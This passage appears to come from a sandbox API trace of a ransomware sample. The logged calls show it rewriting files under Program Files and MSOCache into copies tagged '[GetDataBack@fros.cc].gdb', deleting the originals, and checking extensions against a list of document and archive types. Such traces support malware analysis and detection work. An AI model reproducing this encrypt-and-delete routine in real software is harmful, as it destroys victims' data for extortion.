Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.890] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0130.890] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0130.890] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0130.890] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0130.890] GetLastError () returned 0x0 [0130.890] ReadFile (in: hFile=0x208, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0xffff0, lpOverlapped=0x0) returned 1 [0130.909] WriteFile (in: hFile=0x1b0, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xffff0, lpOverlapped=0x0) returned 1 [0130.985] ReadFile (in: hFile=0x208, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x65520, lpOverlapped=0x0) returned 1 [0131.004] WriteFile (in: hFile=0x1b0, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0x65530, lpOverlapped=0x0) returned 1 [0131.013] ReadFile (in: hFile=0x208, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x0, lpOverlapped=0x0) returned 1 [0131.013] WriteFile (in: hFile=0x1b0, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xea, lpOverlapped=0x0) returned 1 [0131.013] SetEndOfFile (hFile=0x1b0) returned 1 [0131.014] CloseHandle (hObject=0x1b0) returned 1 [0131.014] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0131.014] SetEndOfFile (hFile=0x208) returned 1 [0131.018] CloseHandle (hObject=0x208) returned 1 [0131.018] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0131.019] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0131.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0131.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0131.273] lstrlenW (lpString=".doc") returned 4 [0131.273] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.273] lstrlenW (lpString=".docx") returned 5 [0131.273] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0131.273] lstrlenW (lpString=".pdf") returned 4 [0131.273] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.273] lstrlenW (lpString=".xls") returned 4 [0131.273] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.273] lstrlenW (lpString=".xlsx") returned 5 [0131.273] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0131.273] lstrlenW (lpString=".ppt") returned 4 [0131.273] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0131.273] lstrlenW (lpString=".zip") returned 4 [0131.273] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.274] lstrlenW (lpString=".rar") returned 4 [0131.274] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.274] lstrlenW (lpString=".bz2") returned 4 [0131.274] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.274] lstrlenW (lpString=".7z") returned 3 [0131.274] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0131.274] lstrlenW (lpString=".dbf") returned 4 [0131.274] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0131.274] lstrlenW (lpString=".1cd") returned 4 [0131.274] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0131.274] lstrlenW (lpString=".jpg") returned 4 [0131.274] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0131.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0131.274] lstrlenW (lpString=".doc") returned 4 [0131.274] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.274] lstrlenW (lpString=".docx") returned 5 [0131.274] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0131.274] lstrlenW (lpString=".pdf") returned 4 [0131.274] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.274] lstrlenW (lpString=".xls") returned 4 [0131.274] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.274] lstrlenW (lpString=".xlsx") returned 5 [0131.274] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0131.274] lstrlenW (lpString=".ppt") returned 4 [0131.274] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0131.274] lstrlenW (lpString=".zip") returned 4 [0131.274] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.274] lstrlenW (lpString=".rar") returned 4 [0131.274] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.274] lstrlenW (lpString=".bz2") returned 4 [0131.274] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.274] lstrlenW (lpString=".7z") returned 3 [0131.274] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0131.274] lstrlenW (lpString=".dbf") returned 4 [0131.275] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0131.275] lstrlenW (lpString=".1cd") returned 4 [0131.275] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0131.275] lstrlenW (lpString=".jpg") returned 4 [0131.275] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.275] lstrcmpiW (lpString1=".sys", lpString2=".gdb") returned 1 [0131.275] lstrlenW (lpString="pagefile.sys") returned 12 [0131.275] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.275] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0131.275] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0131.275] lstrlenW (lpString=".doc") returned 4 [0131.275] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0131.275] lstrlenW (lpString=".docx") returned 5 [0131.275] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0131.275] lstrlenW (lpString=".pdf") returned 4 [0131.275] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0131.275] lstrlenW (lpString=".xls") returned 4 [0131.275] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0131.275] lstrlenW (lpString=".xlsx") returned 5 [0131.275] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0131.275] lstrlenW (lpString=".ppt") returned 4 [0131.275] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0131.275] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0131.275] lstrlenW (lpString=".zip") returned 4 [0131.275] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0131.275] lstrlenW (lpString=".rar") returned 4 [0131.275] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0131.275] lstrlenW (lpString=".bz2") returned 4 [0131.275] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0131.275] lstrlenW (lpString=".7z") returned 3 [0131.275] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0131.275] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0131.275] lstrlenW (lpString=".dbf") returned 4 [0131.276] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0131.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0131.276] lstrlenW (lpString=".1cd") returned 4 [0131.276] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0131.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0131.276] lstrlenW (lpString=".jpg") returned 4 [0131.276] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0131.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0131.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0131.276] lstrlenW (lpString=".doc") returned 4 [0131.276] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0131.276] lstrlenW (lpString=".docx") returned 5 [0131.276] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0131.276] lstrlenW (lpString=".pdf") returned 4 [0131.276] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0131.276] lstrlenW (lpString=".xls") returned 4 [0131.276] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0131.276] lstrlenW (lpString=".xlsx") returned 5 [0131.276] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0131.276] lstrlenW (lpString=".ppt") returned 4 [0131.276] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0131.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0131.276] lstrlenW (lpString=".zip") returned 4 [0131.276] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0131.276] lstrlenW (lpString=".rar") returned 4 [0131.276] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0131.276] lstrlenW (lpString=".bz2") returned 4 [0131.276] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0131.276] lstrlenW (lpString=".7z") returned 3 [0131.276] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0131.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0131.276] lstrlenW (lpString=".dbf") returned 4 [0131.276] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0131.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0131.276] lstrlenW (lpString=".1cd") returned 4 [0131.276] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0131.276] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0131.276] lstrlenW (lpString=".jpg") returned 4 [0131.276] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0131.276] lstrcmpiW (lpString1=".exe", lpString2=".gdb") returned -1 [0131.276] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0131.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe" (normalized: "c:\\program files\\common files\\carried-announcement-endorsed.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0131.277] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=75264) returned 1 [0131.277] CloseHandle (hObject=0x1c0) returned 1 [0131.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe" (normalized: "c:\\program files\\common files\\carried-announcement-endorsed.exe")) returned 0x20 [0131.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\carried-announcement-endorsed.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe" (normalized: "c:\\program files\\common files\\carried-announcement-endorsed.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe") returned 63 [0131.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe") returned 63 [0131.277] lstrlenW (lpString=".doc") returned 4 [0131.277] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.277] lstrlenW (lpString=".docx") returned 5 [0131.277] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0131.277] lstrlenW (lpString=".pdf") returned 4 [0131.277] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.277] lstrlenW (lpString=".xls") returned 4 [0131.277] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.277] lstrlenW (lpString=".xlsx") returned 5 [0131.277] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0131.277] lstrlenW (lpString=".ppt") returned 4 [0131.277] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe") returned 63 [0131.277] lstrlenW (lpString=".zip") returned 4 [0131.277] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.277] lstrlenW (lpString=".rar") returned 4 [0131.278] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.278] lstrlenW (lpString=".bz2") returned 4 [0131.278] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.278] lstrlenW (lpString=".7z") returned 3 [0131.278] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe") returned 63 [0131.278] lstrlenW (lpString=".dbf") returned 4 [0131.278] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe") returned 63 [0131.278] lstrlenW (lpString=".1cd") returned 4 [0131.278] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe") returned 63 [0131.278] lstrlenW (lpString=".jpg") returned 4 [0131.278] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe") returned 63 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe") returned 63 [0131.278] lstrlenW (lpString=".doc") returned 4 [0131.278] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.278] lstrlenW (lpString=".docx") returned 5 [0131.278] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0131.278] lstrlenW (lpString=".pdf") returned 4 [0131.278] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.278] lstrlenW (lpString=".xls") returned 4 [0131.278] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.278] lstrlenW (lpString=".xlsx") returned 5 [0131.278] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0131.278] lstrlenW (lpString=".ppt") returned 4 [0131.278] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe") returned 63 [0131.278] lstrlenW (lpString=".zip") returned 4 [0131.278] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.278] lstrlenW (lpString=".rar") returned 4 [0131.278] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.278] lstrlenW (lpString=".bz2") returned 4 [0131.278] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.278] lstrlenW (lpString=".7z") returned 3 [0131.278] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe") returned 63 [0131.278] lstrlenW (lpString=".dbf") returned 4 [0131.278] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe") returned 63 [0131.278] lstrlenW (lpString=".1cd") returned 4 [0131.278] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\carried-announcement-endorsed.exe") returned 63 [0131.278] lstrlenW (lpString=".jpg") returned 4 [0131.279] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.279] lstrcmpiW (lpString1=".DLL", lpString2=".gdb") returned -1 [0131.279] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0131.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.395] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=99136) returned 1 [0131.395] CloseHandle (hObject=0x208) returned 1 [0131.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0131.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.395] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0131.395] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0131.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0131.395] GetLastError () returned 0x0 [0131.395] ReadFile (in: hFile=0x208, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x18340, lpOverlapped=0x0) returned 1 [0131.398] WriteFile (in: hFile=0x1b0, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0x18350, lpOverlapped=0x0) returned 1 [0131.400] ReadFile (in: hFile=0x208, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x0, lpOverlapped=0x0) returned 1 [0131.400] WriteFile (in: hFile=0x1b0, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xec, lpOverlapped=0x0) returned 1 [0131.400] SetEndOfFile (hFile=0x1b0) returned 1 [0131.400] CloseHandle (hObject=0x1b0) returned 1 [0131.400] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0131.401] SetEndOfFile (hFile=0x208) returned 1 [0131.402] CloseHandle (hObject=0x208) returned 1 [0131.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.402] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0131.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0131.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0131.402] lstrlenW (lpString=".doc") returned 4 [0131.402] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0131.402] lstrlenW (lpString=".docx") returned 5 [0131.402] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0131.402] lstrlenW (lpString=".pdf") returned 4 [0131.402] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0131.402] lstrlenW (lpString=".xls") returned 4 [0131.402] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0131.402] lstrlenW (lpString=".xlsx") returned 5 [0131.402] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0131.402] lstrlenW (lpString=".ppt") returned 4 [0131.403] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0131.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0131.403] lstrlenW (lpString=".zip") returned 4 [0131.403] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0131.403] lstrlenW (lpString=".rar") returned 4 [0131.403] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0131.403] lstrlenW (lpString=".bz2") returned 4 [0131.403] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0131.403] lstrlenW (lpString=".7z") returned 3 [0131.403] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0131.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0131.403] lstrlenW (lpString=".dbf") returned 4 [0131.403] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0131.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0131.403] lstrlenW (lpString=".1cd") returned 4 [0131.403] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0131.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0131.403] lstrlenW (lpString=".jpg") returned 4 [0131.403] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0131.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0131.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0131.403] lstrlenW (lpString=".doc") returned 4 [0131.403] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0131.403] lstrlenW (lpString=".docx") returned 5 [0131.403] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0131.403] lstrlenW (lpString=".pdf") returned 4 [0131.403] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0131.403] lstrlenW (lpString=".xls") returned 4 [0131.403] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0131.403] lstrlenW (lpString=".xlsx") returned 5 [0131.403] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0131.403] lstrlenW (lpString=".ppt") returned 4 [0131.403] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0131.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0131.403] lstrlenW (lpString=".zip") returned 4 [0131.403] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0131.403] lstrlenW (lpString=".rar") returned 4 [0131.403] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0131.403] lstrlenW (lpString=".bz2") returned 4 [0131.403] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0131.403] lstrlenW (lpString=".7z") returned 3 [0131.404] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0131.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0131.404] lstrlenW (lpString=".dbf") returned 4 [0131.404] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0131.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0131.404] lstrlenW (lpString=".1cd") returned 4 [0131.404] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0131.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0131.404] lstrlenW (lpString=".jpg") returned 4 [0131.404] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0131.404] lstrcmpiW (lpString1=".EXE", lpString2=".gdb") returned -1 [0131.404] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0131.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 